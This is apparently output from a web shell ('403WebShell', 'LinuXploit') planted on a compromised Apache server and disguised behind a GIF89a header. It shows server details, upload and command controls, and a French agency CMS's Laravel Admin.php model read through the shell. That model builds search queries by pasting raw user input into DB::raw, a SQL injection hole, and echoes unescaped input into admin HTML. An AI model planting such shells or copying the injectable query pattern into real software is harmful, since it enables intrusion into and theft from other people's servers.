GIF89a=( �' 7IAXKgNgYvYx\%wh&h}t�h%�s%x�}9�R��&�0%� (�.��5�SD��&�a)�x5��;ͣ*ȡ&ղ)ׯ7׵<ѻ4�3�H֧KͯT��Y�aq��q��F� !� ' !� NETSCAPE2.0 , =( ��pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g���E�������R���E����B�� ��ȸ��D���"�Ů� �H��L��D٫D�B�����D���T���H �G��A R�ڐ |�� ٭&��E8�S�kG�A�px�a��� R2XB��E8I���6X�:vT)�~��q�賥��"F~%x� � 4#Z�0O|-4Bs�X:= Q� Sal��yXJ`GȦ|s h��K3l7�B|�$'7Jީܪ0!��D�n=�P� ����0`�R�lj����v>���5 �.69�ϸd�����nlv�9��f{���Pbx �l5}�p� ��� �3a���I�O����!ܾ���i��9��#��)p�a ޽ �{�)vm��%D~ 6f��s}Œ�D�W E�`!� �&L8x� �ܝ{)x`X/>�}m��R�*|`D�=�_ ^�5 !_&'a�O�7�c��`DCx`�¥�9�Y�F���`?��"� �n@`�} lď��@4>�d S �v�xN��"@~d��=�g�s~G��� ���ud &p8Q�)ƫlXD����A~H�ySun�j���k*D�LH�] ��C"J��Xb~ʪwSt}6K,��q�S:9ت:���l�@�`�� �.۬�t9�S�[:��=`9N����{¿�A !R�:���6��x�0�_ �;������^���#����!����U���;0L1�����p% A��U̬ݵ��%�S��!���~`�G���� ���=4�np�3���������u�u�ٮ|%2�I��r�#0��J``8�@S@5� ���^`8E�]�.�S���7 � �0�j S�D� z���i�S�����!���l��w9*�D�I�nEX��� &A�Go�Qf��F��;���}�J����F5��Q|���X��T��y���]� o ��C=��:���PB@ D׽S�(>�C�x}`��xJЬ�۠��p+eE0`�}`A �/NE�� �9@��� H�7�!%B0`�l*��!8 2�%� �:�1�0E��ux%nP1�!�C)�P81l�ɸF#Ƭ{����B0>�� �b�`��O3��()yRpb��E.ZD8�H@% �Rx+%���c� ���f��b�d�`F�"8�XH"��-�|1�6iI, 2�$+](A*j� QT�o0.�U�`�R�}`�SN����yae�����b��o~ S)�y�@��3 �tT�0�&�+~L�f"�-|�~��>!�v��~�\Q1)}@�}h#aP72�"�$ !� " , =( &7IAXG]KgNgYvYxR"k\%w]'}h}t�h%�g+�s%r.m3ax3�x�}9��&��+�!7�0%� (�.�SD��&��;�"&ײ)׻4��6�K� �@pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g �� E �� �������E �´��C���ǶR��D��"Ʒ�ʱH��M��GڬD�B����D��T����G���C�C� l&�~:'�tU�6ɹ#��)�'�.6�&��Ȼ K(8p0N�?!�2"��NIJX>R��OM '��2�*x�>#n� �@<[:�I�f ��T���Cdb��[�}E�5MBo��@�`@��tW-3 �x�B���jI�&E�9[T&$��ﯧ&"s��ȳ����dc�UUρ#���ldj?����`\}���u|3'�R]�6 �S#�!�FKL�*N E���`$�:e�YD�q�.�촁�s \-�jA 9�����-��M[�x(�s��x�|���p��}k�T�DpE@W� ��]k`1� ���Yb ��0l��*n0��"~zBd�~u�7�0Bl��0-�x~|U�U0 �h�*HS�|��e"#"?vp�i`e6^�+q��`m8 #V�� ��VS|`��"m"сSn|@:U���~`pb�G�ED����2F�I�? >�x� R� ��%~jx��<�a�9ij�2�D��&: Z`�]w���:�6��B�7eFJ|�ҧ�,���FǮcS�ʶ+B�,�ܺN���>PAD�HD��~���n��}�#�� Q��S���2�X�{�k�lQ�2�����w�|2� h9��G�,m���3��6-��E�L��I�³*K���q�`DwV�QXS��peS��� qܧTS����R�u �<�a�*At�lmE� � ��N[P1�ۦ��$��@`��Dpy�yXvCAy�B`}D� 0QwG#� �a[^�� $���Ǧ{L�"[��K�g�;�S~��GX.�goT.��ư��x���?1z��x~:�g�|�L� ��S`��0S]P�^p F<""�?!,�!N4&P� ����:T�@h�9%t��:�-~�I<`�9p I&.)^ 40D#p@�j4�ج:�01��rܼF2oW�#Z ;$Q q  �K��Nl#29 !F@�Bh�ᏬL!XF�LHKh�.�hE&J�G��<"WN!�����Y@� >R~19J"�2,/ &.GXB%�R�9B6�W]���W�I�$��9�RE8Y� ��"�A5�Q.axB�&ة�J�! �t)K%tS-�JF b�NMxL��)�R��"���6O!TH�H� 0 !� ) , =( &AXKgNgYvYxR"k\%wh&h}h%�g+�s%r.x3�x�}9��&��+�R,�!7�0%� (�.��5��&�a)��;�"&ף*Ȳ)ׯ7׻4�3��6�H֧KͻH�T��Y��q��h� ��pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g �� E$����� � ����$E$��"��D� � ������R��C��� E ��H�M��G�D� �B��ϾD��a��`1r��Ӑ�� �o~�zU!L�C'�yW�UGt����ll�0���uG�)A�s[��x� �xO%��X2�  P�n:R/��aHae+�Dm?# ǣ6�8�J�x�Di�M���j���5oQ7�- <! *�l��R2r/a!l)d� A"�E���� &� ;��c �%����b��pe~C"B���H�eF2��`8qb�t_`ur`e� w�u3��Pv�h""�`�Íx�LĹ��3� �~ֺ�:���MDfJ� �۵�W�%�S�X �؁)�@��:E��w�u�Sxb8y\m�zS��Zb�E�L��w!y(>�"w�=�|��s�d �C�W)H�cC$�L �7r.�\{)@�`@ �X�$PD `aaG:���O�72E�amn]�"Rc�x�R� &dR8`g��i�xLR!�P &d����T���i�|�_ � Qi�#�`g:��:noM� :V �)p����W&a=�e�k� j���1߲s�x�W�jal|0��B0�, \j۴:6���C ��W��|��9���zĸV {�;��n��V�m�I��.��PN� ����C��+��By�ѾHŸ:��� 7�Y�FTk�SaoaY$D�S���29R�kt� ��f� ��:��Sp�3�I��DZ� �9���g��u�*3)O��[_hv ,���Et x�BH� �[��64M@�S�M7d�l�ܶ5-��U܍��z�R3Ԭ3~ ��P��5�g: ���kN�&0�j4���#{��3S�2�K�'ợl���2K{� {۶?~m𸧠�I�nE�='����^���_�=��~�#O���'���o..�Y�n��CSO��a��K��o,���b�����{�C�� "�{�K ��w��Ozdը�:$ ���v�] A#� ���a�z)Rx׿ƥ�d``�w-�y�f�K!����|��P��=�`�(f��'Pa ��BJa%��f�%`�}F����6>��`G"�}�=�!o`�^FP�ةQ�C���`(�}\�ݮ ��$<��n@dĠE#��U�I�!� #l��9`k���'Rr��Z�NB�MF �[�+9���-�wj���8�r� ,V�h"�|�S=�G_��"E� 0i*%̲��da0mVk�):;&6p>�jK ��# �D�:�c?:R Ӭf��I-�"�<�="��7�3S��c2RW ,�8(T"P0F¡Jh�" ; 403WebShell
403Webshell
Server IP : 81.88.48.95  /  Your IP : 10.2.217.94, 216.73.216.227
Web Server : Apache
System : Linux opus09 3.2.0-4-amd64 #1 SMP Debian 3.2.68-1+deb7u3 x86_64
User : nobody ( 99)
PHP Version : 5.3.3-7+squeeze3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /web/sites/user/1/14/102637/app/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /web/sites/user/1/14/102637/app/models/Admin.php
<?php

class Admin extends Eloquent {

    //protected $table = 'projets_tbl';

    public function logout(){
        Auth::logout();
        return Redirect::to('admin/login');
    }


    /* USERS */
    public static function getUserData($username)
    {

        $user = DB::table('users')
                        ->where('username', $username)
                        //->where('password', $password)
                        ->get();
        return $user;

    }

    /* PROJECTS */

    public static function getProjectsData()
    {

        $projects = DB::table('projets_tbl')
                        ->orderBy('id', 'desc')
                        ->paginate(25);
        return $projects;

    }

    public static function getSearchResultsProjects($q)
    {

        $query = explode(' ', $q);
        $q = null;
        foreach ($query as $k => $v) {
            if($q == null){
                $q = "nom_projet LIKE '%$v%' OR description LIKE '%$v%' OR num LIKE '%$v%' OR operation LIKE '%$v%' OR maitrise_ouvrage LIKE '%$v%' OR maitrise_oeuvre LIKE '%$v%' OR mission LIKE '%$v%'";
            }else{
                $q .= "OR nom_projet LIKE '%$v%' OR description LIKE '%$v%' OR num LIKE '%$v%' OR operation LIKE '%$v%' OR maitrise_ouvrage LIKE '%$v%' OR maitrise_oeuvre LIKE '%$v%' OR mission LIKE '%$v%'";
            }
        }

        // NB : Check why the last argument is not considered
        $q .= "OR nom_projet LIKE 'blob'";

        $projects = DB::table('projets_tbl')
                        ->where(DB::raw($q))
                        ->where("online", 1)
                        ->orderBy('created_at', 'desc')
                        //->get();
                        ->paginate(25);

        return $projects;

    }

    public static function getProjectData($id)
    {

        $projects = DB::table('projets_tbl')
                        ->where('id', $id)
                        ->get();
        return $projects;

    }

    public static function updateProjectData()
    {

        $id                    = Input::get('id');
        $num                   = Input::get('num');
        $description           = Input::get('description');
        $nom_projet            = Input::get('nom_projet');
        $projet                = Input::get('projet');
        $actualite             = Input::get('actualite');
        $reference             = Input::get('reference');
        $idf                   = Input::get('idf');
        $nord                  = Input::get('nord');
        $sud                   = Input::get('sud');
        $est                   = Input::get('est');
        $ouest                 = Input::get('ouest');
        $dom_tom_international = Input::get('dom_tom_international');
        $urbanisme             = Input::get('urbanisme');
        $architecture          = Input::get('architecture');
        $sdal                  = Input::get('sdal');
        $paysage               = Input::get('paysage');
        $evenementiel          = Input::get('evenementiel');
        $operation             = Input::get('operation');
        $maitrise_ouvrage      = Input::get('maitrise_ouvrage');
        $maitrise_oeuvre       = Input::get('maitrise_oeuvre');
        $mission               = Input::get('mission');
        $superficie            = Input::get('superficie');
        $debut                 = Input::get('debut');
        $livraison             = Input::get('livraison');
        $budget_global         = Input::get('budget_global');
        $budget_eclairage      = Input::get('budget_eclairage');
        $ref_size              = Input::get('ref_size');
        $ref_type              = Input::get('ref_type');
        $online                = Input::get('online');
        $updated_at            = date("Y-m-d H:i:s");


        if($projet == null){
            $projet = 0;
        }
        if($actualite == null){
            $actualite = 0;
        }
        if($reference == null){
            $reference = 0;
        }
        if($idf == null){
            $idf = 0;
        }
        if($nord == null){
            $nord = 0;
        }
        if($sud == null){
            $sud = 0;
        }
        if($est == null){
            $est = 0;
        }
        if($ouest == null){
            $ouest = 0;
        }
        if($dom_tom_international == null){
            $dom_tom_international = 0;
        }
        if($urbanisme == null){
            $urbanisme = 0;
        }
        if($architecture == null){
            $architecture = 0;
        }
        if($paysage == null){
            $paysage = 0;
        }
        if($sdal == null){
            $sdal = 0;
        }
        if($evenementiel == null){
            $evenementiel = 0;
        }
        if($ref_type == null){
            $ref_type = 0;
        }
        if($ref_size == ""){
            $ref_size = "small";
        }
        if($online == null){
            $online = 0;
        }

        $ajax = DB::table('projets_tbl')
                    ->where('id', $id)
                    ->update(
                        array(
                             'description'           => stripslashes($description),
                             'num'                   => $num,
                             'nom_projet'            => stripslashes($nom_projet),
                             'projet'                => stripslashes($projet),
                             'actualite'             => stripslashes($actualite),
                             'reference'             => stripslashes($reference),
                             'idf'                   => stripslashes($idf),
                             'nord'                  => stripslashes($nord),
                             'sud'                   => stripslashes($sud),
                             'est'                   => stripslashes($est),
                             'ouest'                 => stripslashes($ouest),
                             'dom_tom_international' => stripslashes($dom_tom_international),
                             'urbanisme'             => stripslashes($urbanisme),
                             'architecture'          => stripslashes($architecture),
                             'sdal'                  => stripslashes($sdal),
                             'paysage'               => stripslashes($paysage),
                             'evenementiel'          => stripslashes($evenementiel),
                             'operation'             => stripslashes($operation),
                             'maitrise_ouvrage'      => stripslashes($maitrise_ouvrage),
                             'maitrise_oeuvre'       => stripslashes($maitrise_oeuvre),
                             'mission'               => stripslashes($mission),
                             'superficie'            => stripslashes($superficie),
                             'debut'                 => stripslashes($debut),
                             'livraison'             => stripslashes($livraison),
                             'budget_global'         => stripslashes($budget_global),
                             'budget_eclairage'      => stripslashes($budget_eclairage),
                             'ref_size'              => stripslashes($ref_size),
                             'ref_type'              => stripslashes($ref_type),
                             'online'                => stripslashes($online),
                             'updated_at'            => stripslashes($updated_at)
                        )
                    );
        return '<div class="modal-header">
                    <button type="button" class="close" data-dismiss="modal" aria-hidden="true">&times;</button>
                <h4 class="modal-title">Succès de la mise à jour du projet '. strtoupper($nom_projet) .' !</h4>
                </div>
                <div class="modal-body">
                    <div class="alert alert-success alert-dismissable">
                        <strong>Félicitations !</strong> La mise à jour du projet '. strtoupper($nom_projet) .' a été effectuée avec succès.
                    </div>
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-default" data-dismiss="modal">Fermer</button>
                </div>';

    }

    public static function createNewProject()
    {

        $description           = Input::get('description');
        $num                   = Input::get('num');
        $nom_projet            = Input::get('nom_projet');
        $projet                = Input::get('projet');
        $actualite             = Input::get('actualite');
        $reference             = Input::get('reference');
        $idf                   = Input::get('idf');
        $nord                  = Input::get('nord');
        $sud                   = Input::get('sud');
        $est                   = Input::get('est');
        $ouest                 = Input::get('ouest');
        $dom_tom_international = Input::get('dom_tom_international');
        $urbanisme             = Input::get('urbanisme');
        $architecture          = Input::get('architecture');
        $sdal                  = Input::get('sdal');
        $paysage               = Input::get('paysage');
        $evenementiel          = Input::get('evenementiel');
        $operation             = Input::get('operation');
        $maitrise_ouvrage      = Input::get('maitrise_ouvrage');
        $maitrise_oeuvre       = Input::get('maitrise_oeuvre');
        $mission               = Input::get('mission');
        $superficie            = Input::get('superficie');
        $debut                 = Input::get('debut');
        $livraison             = Input::get('livraison');
        $budget_global         = Input::get('budget_global');
        $budget_eclairage      = Input::get('budget_eclairage');
        $ref_size              = Input::get('ref_size');
        $ref_type              = Input::get('ref_type');
        $online                = Input::get('online');
        $created_at            = date("Y-m-d H:i:s");
        $updated_at            = date("Y-m-d H:i:s");


        if($projet !== 1){
            $projet = 0;
        }
        if($actualite !== 1){
            $actualite = 0;
        }
        if($reference !== 1){
            $reference = 0;
        }
        if($idf !== 1){
            $idf = 0;
        }
        if($nord !== 1){
            $nord = 0;
        }
        if($sud == null){
            $sud = 0;
        }
        if($est !== 1){
            $est = 0;
        }
        if($ouest !== 1){
            $ouest = 0;
        }
        if($dom_tom_international !== 1){
            $dom_tom_international = 0;
        }
        if($urbanisme !== 1){
            $urbanisme = 0;
        }
        if($architecture !== 1){
            $architecture = 0;
        }
        if($paysage !== 1){
            $paysage = 0;
        }
        if($sdal !== 1){
            $sdal = 0;
        }
        if($evenementiel !== 1){
            $evenementiel = 0;
        }
        if($ref_type !== 1){
            $ref_type = 0;
        }
        if($ref_size == ""){
            $ref_size = "small";
        }
        if($online !== 1){
            $online = 0;
        }


        DB::table('projets_tbl')
            ->insert(
                array(
                    'description'           => stripslashes($description),
                    'num'                   => stripslashes($num),
                    'nom_projet'            => stripslashes($nom_projet),
                    'projet'                => stripslashes($projet),
                    'actualite'             => stripslashes($actualite),
                    'reference'             => stripslashes($reference),
                    'idf'                   => stripslashes($idf),
                    'nord'                  => stripslashes($nord),
                    'sud'                   => stripslashes($sud),
                    'est'                   => stripslashes($est),
                    'ouest'                 => stripslashes($ouest),
                    'dom_tom_international' => stripslashes($dom_tom_international),
                    'urbanisme'             => stripslashes($urbanisme),
                    'architecture'          => stripslashes($architecture),
                    'paysage'               => stripslashes($paysage),
                    'sdal'                  => stripslashes($sdal),
                    'evenementiel'          => stripslashes($evenementiel),
                    'operation'             => stripslashes($operation),
                    'maitrise_ouvrage'      => stripslashes($maitrise_ouvrage),
                    'maitrise_oeuvre'       => stripslashes($maitrise_oeuvre),
                    'mission'               => stripslashes($mission),
                    'superficie'            => stripslashes($superficie),
                    'debut'                 => stripslashes($debut),
                    'livraison'             => stripslashes($livraison),
                    'budget_global'         => stripslashes($budget_global),
                    'budget_eclairage'      => stripslashes($budget_eclairage),
                    'ref_size'              => stripslashes($ref_size),
                    'ref_type'              => stripslashes($ref_type),
                    'online'                => stripslashes($online),
                    'updated_at'            => stripslashes($updated_at)
                )
            );
        return '<div class="modal-header">
                    <button type="button" class="close" data-dismiss="modal" aria-hidden="true">&times;</button>
                <h4 class="modal-title">Nouveau projet '. strtoupper($nom_projet) .' créé avec succès !</h4>
                </div>
                <div class="modal-body">
                    <div class="alert alert-success alert-dismissable">
                        <strong>Félicitations !</strong> votre nouveau projet '. strtoupper($nom_projet) .' a été créé avec succès.
                    </div>
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-default" data-dismiss="modal">Fermer</button>
                </div>';

    }

    public static function getAssociatedImagesAgency($id)
    {

        $pics = DB::table('agence_tbl')
                        ->where('id', $id)
                        ->get();
        return $pics;

    }

    public static function getAssociatedImages($id)
    {

        $pics = DB::table('project_pics_tbl')
                        ->where('project_id', $id)
                        ->get();
        return $pics;

    }

    public static function uploadImagesProject($project_id, $title, $url)
    {
        $updated_at  = date("Y-m-d H:i:s");
        $created_at  = date("Y-m-d H:i:s");


        $id = DB::table('project_pics_tbl')
                ->insertGetId(
                    array(
                        'project_id' => $project_id,
                        'title'      => stripslashes($title),
                        'url'        => $url,
                        'created_at' => $created_at,
                        'updated_at' => $updated_at
                    )
                );
        return $id;

    }

    public static function uploadImagesAgency($id, $url)
    {
        $updated_at  = date("Y-m-d H:i:s");
        $created_at  = date("Y-m-d H:i:s");


        DB::table('agence_tbl')
            ->where('id', $id)
            ->update(
                array(
                    'pic_url' => $url
                    )
                );
        return 1;

    }

    public static function deleteImageProject($id)
    {

        DB::table('project_pics_tbl')
                ->where('id', $id)
                ->delete();
        return 1;

    }


    /* NEWS */
    public static function getNewsData()
    {

        $news = DB::table('news_posts_tbl')
                        ->orderBy('id', 'desc')
                        ->paginate(25);
        return $news;

    }

    public static function createNews()
    {

        $title      = Input::get('title');
        $content    = Input::get('content');
        $online     = Input::get('online');
        $created_at  = date("Y-m-d H:i:s");
        $updated_at = date("Y-m-d H:i:s");

        if($online !== 1){
            $online = 0;
        }


        DB::table('news_posts_tbl')
            ->insert(
                array(
                    'title'      => stripslashes($title),
                    'content'    => stripslashes($content),
                    'online'     => $online,
                    'created_at' => $created_at,
                    'updated_at' => $updated_at
                )
            );
        return '<div class="modal-header">
                    <button type="button" class="close" data-dismiss="modal" aria-hidden="true">&times;</button>
                <h4 class="modal-title">Nouvelle actualité '. strtoupper($title) .' créée avec succès !</h4>
                </div>
                <div class="modal-body">
                    <div class="alert alert-success alert-dismissable">
                        <strong>Félicitations !</strong> votre nouvelle actualité '. strtoupper($title) .' a été créé avec succès.
                    </div>
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-default" data-dismiss="modal">Fermer</button>
                </div>';

    }

    public static function getNewsEditData($id)
    {

        $news = DB::table('news_posts_tbl')
                        ->where('id', $id)
                        ->get();
        return $news;

    }

    public static function editNewsAdmin()
    {

        $id         = Input::get('id');
        $title      = Input::get('title');
        $content    = Input::get('content');
        $online     = Input::get('online');
        $date       = Input::get('date');
        $updated_at = date("Y-m-d H:i:s");

        if($online == null){
            $online = 0;
        }


        DB::table('news_posts_tbl')
            ->where('id', $id)
            ->update(
                array(
                    'title'      => stripslashes($title),
                    'content'    => stripslashes($content),
                    'online'     => $online,
                    'created_at' => $date,
                    'updated_at' => $updated_at
                )
            );
        return '<div class="modal-header">
                    <button type="button" class="close" data-dismiss="modal" aria-hidden="true">&times;</button>
                <h4 class="modal-title">L\'ctualité '. strtoupper($title) .' a été modifiée avec succès !</h4>
                </div>
                <div class="modal-body">
                    <div class="alert alert-success alert-dismissable">
                        <strong>Félicitations !</strong> votre actualité '. strtoupper($title) .' a été modifiée avec succès.
                    </div>
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-default" data-dismiss="modal">Fermer</button>
                </div>';

    }

    public static function getNewsAssociatedImages($id)
    {

        $pics = DB::table('news_pics_tbl')
                        ->where('news_post_id', $id)
                        ->get();
        return $pics;

    }

    public static function uploadImagesNews($project_id, $title, $url)
    {
        $updated_at  = date("Y-m-d H:i:s");
        $created_at  = date("Y-m-d H:i:s");


        $id = DB::table('news_pics_tbl')
                ->insertGetId(
                    array(
                         'news_post_id' => $project_id,
                         'title'        => stripslashes($title),
                         'url_thumb'    => $url,
                         'created_at'   => $created_at,
                         'updated_at'   => $updated_at
                    )
                );
        return $id;

    }

    public static function deleteImageNews($id)
    {

        DB::table('news_pics_tbl')
                ->where('id', $id)
                ->delete();
        return 1;

    }

    /* FTP Users */
    public static function getFTPUsers()
    {

        $users = DB::table('users')
                        ->where('role', '4')
                        ->paginate(25);
        return $users;

    }

    public static function createFTPUser()
    {

        $username = Input::get('username');
        $password = Hash::make(Input::get('password'));
        $company  = Input::get('company');
        $name     = Input::get('name');
        $surname  = Input::get('surname');
        $active   = Input::get('active');

        if($active == null){
            $active = 0;
        }

        mkdir("assets/ftp/$username");

        DB::table('users')
            ->insert(
                array(
                     'username' => stripslashes($username),
                     'password' => stripslashes($password),
                     'name'     => stripslashes($name),
                     'surname'  => stripslashes($surname),
                     'company'  => stripslashes($company),
                     'active'   => $active,
                     'role'     => 4
                )
            );
        return '<div class="modal-header">
                    <button type="button" class="close" data-dismiss="modal" aria-hidden="true">&times;</button>
                <h4 class="modal-title">Nouvel utilisateur FTP '. strtoupper($username) .' créé avec succès !</h4>
                </div>
                <div class="modal-body">
                    <div class="alert alert-success alert-dismissable">
                        <strong>Félicitations !</strong> le nouvel utilisateur FTP '. strtoupper($username) .' a été créé avec succès.
                    </div>
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-default" data-dismiss="modal">Fermer</button>
                </div>';

    }

    public static function updateFTPUser()
    {

        $id       = Input::get('id');
        $username = Input::get('username');
        $password = Input::get('password');
        $company  = Input::get('company');
        $name     = Input::get('name');
        $surname  = Input::get('surname');
        $active   = Input::get('active');

        if($password == ""){
            $update = array(
                     'username' => stripslashes($username),
                     'name'     => stripslashes($name),
                     'surname'  => stripslashes($surname),
                     'company'  => stripslashes($company),
                     'active'   => $active
                );
        }else{
            $password = Hash::make($password);
            $update = array(
                     'username' => stripslashes($username),
                     'password' => stripslashes($password),
                     'name'     => stripslashes($name),
                     'surname'  => stripslashes($surname),
                     'company'  => stripslashes($company),
                     'active'   => $active
                );
        }

        DB::table('users')
            ->where('id', $id)
            ->update(
                $update
            );
        return '<div class="modal-header">
                    <button type="button" class="close" data-dismiss="modal" aria-hidden="true">&times;</button>
                <h4 class="modal-title">Utilisateur FTP '. strtoupper($username) .' mis à jour avec succès !</h4>
                </div>
                <div class="modal-body">
                    <div class="alert alert-success alert-dismissable">
                        <strong>Félicitations !</strong> votre utilisateur FTP '. strtoupper($username) .' a été mis à jour avec succès.
                    </div>
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-default" data-dismiss="modal">Fermer</button>
                </div>';

    }

    public static function getFTPUserData($id)
    {

        $user = DB::table('users')
                        ->where('id', $id)
                        ->get();
        return $user;

    }

    /* Admin Users */
    public static function getAdminUsers()
    {

        $users = DB::table('users')
                        ->where('role', '1')
                        ->orWhere('role', '2')
                        ->orWhere('role', '3')
                        ->paginate(25);
        return $users;

    }

    public static function createAdminUser()
    {

        $username = Input::get('username');
        $password = Hash::make(Input::get('password'));
        $role     = Input::get('role');
        $name     = Input::get('name');
        $surname  = Input::get('surname');
        $active   = Input::get('active');

        if($active == null){
            $active = 0;
        }

        DB::table('users')
            ->insert(
                array(
                     'username' => stripslashes($username),
                     'password' => stripslashes($password),
                     'name'     => stripslashes($name),
                     'surname'  => stripslashes($surname),
                     'company'  => 'AGENCE ON',
                     'active'   => $active,
                     'role'     => $role
                )
            );
        return '<div class="modal-header">
                    <button type="button" class="close" data-dismiss="modal" aria-hidden="true">&times;</button>
                <h4 class="modal-title">Nouvel utilisateur '. strtoupper($username) .' créé avec succès !</h4>
                </div>
                <div class="modal-body">
                    <div class="alert alert-success alert-dismissable">
                        <strong>Félicitations !</strong> le nouvel utilisateur '. strtoupper($username) .' a été créé avec succès.
                    </div>
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-default" data-dismiss="modal">Fermer</button>
                </div>';

    }

    public static function updateAdminUser()
    {

        $id       = Input::get('id');
        $username = Input::get('username');
        $password = Input::get('password');
        $role     = Input::get('role');
        $name     = Input::get('name');
        $surname  = Input::get('surname');
        $active   = Input::get('active');

        if($password == ""){
            $update = array(
                     'username' => stripslashes($username),
                     'name'     => stripslashes($name),
                     'surname'  => stripslashes($surname),
                     'role'     => $role,
                     'active'   => $active
                );
        }else{
            $password = Hash::make($password);
            $update = array(
                     'username' => stripslashes($username),
                     'password' => stripslashes($password),
                     'name'     => stripslashes($name),
                     'surname'  => stripslashes($surname),
                     'role'     => $role,
                     'active'   => $active
                );
        }

        DB::table('users')
            ->where('id', $id)
            ->update(
                $update
            );
        return '<div class="modal-header">
                    <button type="button" class="close" data-dismiss="modal" aria-hidden="true">&times;</button>
                <h4 class="modal-title">L\'utilisateur '. strtoupper($username) .' a été mis à jour avec succès !</h4>
                </div>
                <div class="modal-body">
                    <div class="alert alert-success alert-dismissable">
                        <strong>Félicitations !</strong> l\'utilisateur '. strtoupper($username) .' a été mis à jour avec succès.
                    </div>
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-default" data-dismiss="modal">Fermer</button>
                </div>';

    }

    public static function getAdminUserData($id)
    {

        $user = DB::table('users')
                        ->where('id', $id)
                        ->get();
        return $user;

    }


    /* ==== N°  : Contact Details  ======================================== */
    public static function getContactDetails()
    {

        $contact_details = DB::table('contact_tbl')
                            ->paginate(25);
        return $contact_details;

    }

    public static function getContactDetailsData($id)
    {

        $contact_details = DB::table('contact_tbl')
                            ->where('id', $id)
                            ->get();
        return $contact_details;

    }


    public static function updateContactDetails()
    {

        $id       = Input::get('id');
        $adress   = Input::get('adress');
        $postcode = Input::get('postcode');
        $city     = Input::get('city');
        $fax      = Input::get('fax');
        $phone    = Input::get('phone');
        $email    = Input::get('email');

        $update = array(
                      'adress'   => stripslashes($adress),
                      'postcode' => stripslashes($postcode),
                      'city'     => stripslashes($city),
                      'fax'      => stripslashes($fax),
                      'phone'    => stripslashes($phone),
                      'email'    => stripslashes($email)
                );

        DB::table('contact_tbl')
            ->where('id', $id)
            ->update($update);
        return '<div class="modal-header">
                    <button type="button" class="close" data-dismiss="modal" aria-hidden="true">&times;</button>
                <h4 class="modal-title">Informations de contact mises à jour !</h4>
                </div>
                <div class="modal-body">
                    <div class="alert alert-success alert-dismissable">
                        <strong>Félicitations !</strong> vos informations de contact ont été mises à jour avec succès.
                    </div>
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-default" data-dismiss="modal">Fermer</button>
                </div>';

    }


    /* ==== N°  : Agency Details  ======================================== */
    public static function getAgencyDetails()
    {

        $agency_details = DB::table('agence_tbl')
                            ->paginate(25);
        return $agency_details;

    }

    public static function getAgencyDetailsData($id)
    {

        $agency_details = DB::table('agence_tbl')
                            ->where('id', $id)
                            ->get();
        return $agency_details;

    }


    public static function updateAgencyDetails()
    {

        $id         = Input::get('id');
        $title      = Input::get('title');
        $content    = Input::get('content');
        $content_en = Input::get('content_en');
        $content_ar = Input::get('content_ar');

        $update = array(
                      'content'    => stripslashes($content),
                      'content_en' => stripslashes($content_en),
                      'content_ar' => stripslashes($content_ar)
                );

        DB::table('agence_tbl')
            ->where('id', $id)
            ->update($update);
        return '<div class="modal-header">
                    <button type="button" class="close" data-dismiss="modal" aria-hidden="true">&times;</button>
                <h4 class="modal-title">La page '.$title.' a été mise à jour !</h4>
                </div>
                <div class="modal-body">
                    <div class="alert alert-success alert-dismissable">
                        <strong>Félicitations !</strong> les informations de la page '.$title.' ont été mises à jour avec succès.
                    </div>
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-default" data-dismiss="modal">Fermer</button>
                </div>';

    }



    /* ==== N°  : Member Details  ======================================== */
    public static function getMemberDetails()
    {

        $member_details = DB::table('members_tbl')
                            ->paginate(25);
        return $member_details;

    }

    public static function getMemberDetailsData($id)
    {

        $member_details = DB::table('members_tbl')
                            ->where('id', $id)
                            ->get();
        return $member_details;

    }


    public static function updateMemberDetails()
    {

        $id         = Input::get('id');
        $surname    = Input::get('surname');
        $name       = Input::get('name');
        $job_title  = Input::get('job_title');
        $cv_content = Input::get('cv_content');

        $update = array(
                       'surname'    => stripslashes($surname),
                       'name'       => stripslashes($name),
                       'job_title'  => stripslashes($job_title),
                       'cv_content' => stripslashes($cv_content)
                );

        DB::table('members_tbl')
            ->where('id', $id)
            ->update($update);
        return '<div class="modal-header">
                    <button type="button" class="close" data-dismiss="modal" aria-hidden="true">&times;</button>
                <h4 class="modal-title">La fiche de '.strtoupper($name).' '.strtoupper($surname).' a été mise à jour !</h4>
                </div>
                <div class="modal-body">
                    <div class="alert alert-success alert-dismissable">
                        <strong>Félicitations !</strong> les informations de la fiche de '.strtoupper($name).' '.strtoupper($surname).' ont été mises à jour avec succès.
                    </div>
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-default" data-dismiss="modal">Fermer</button>
                </div>';

    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit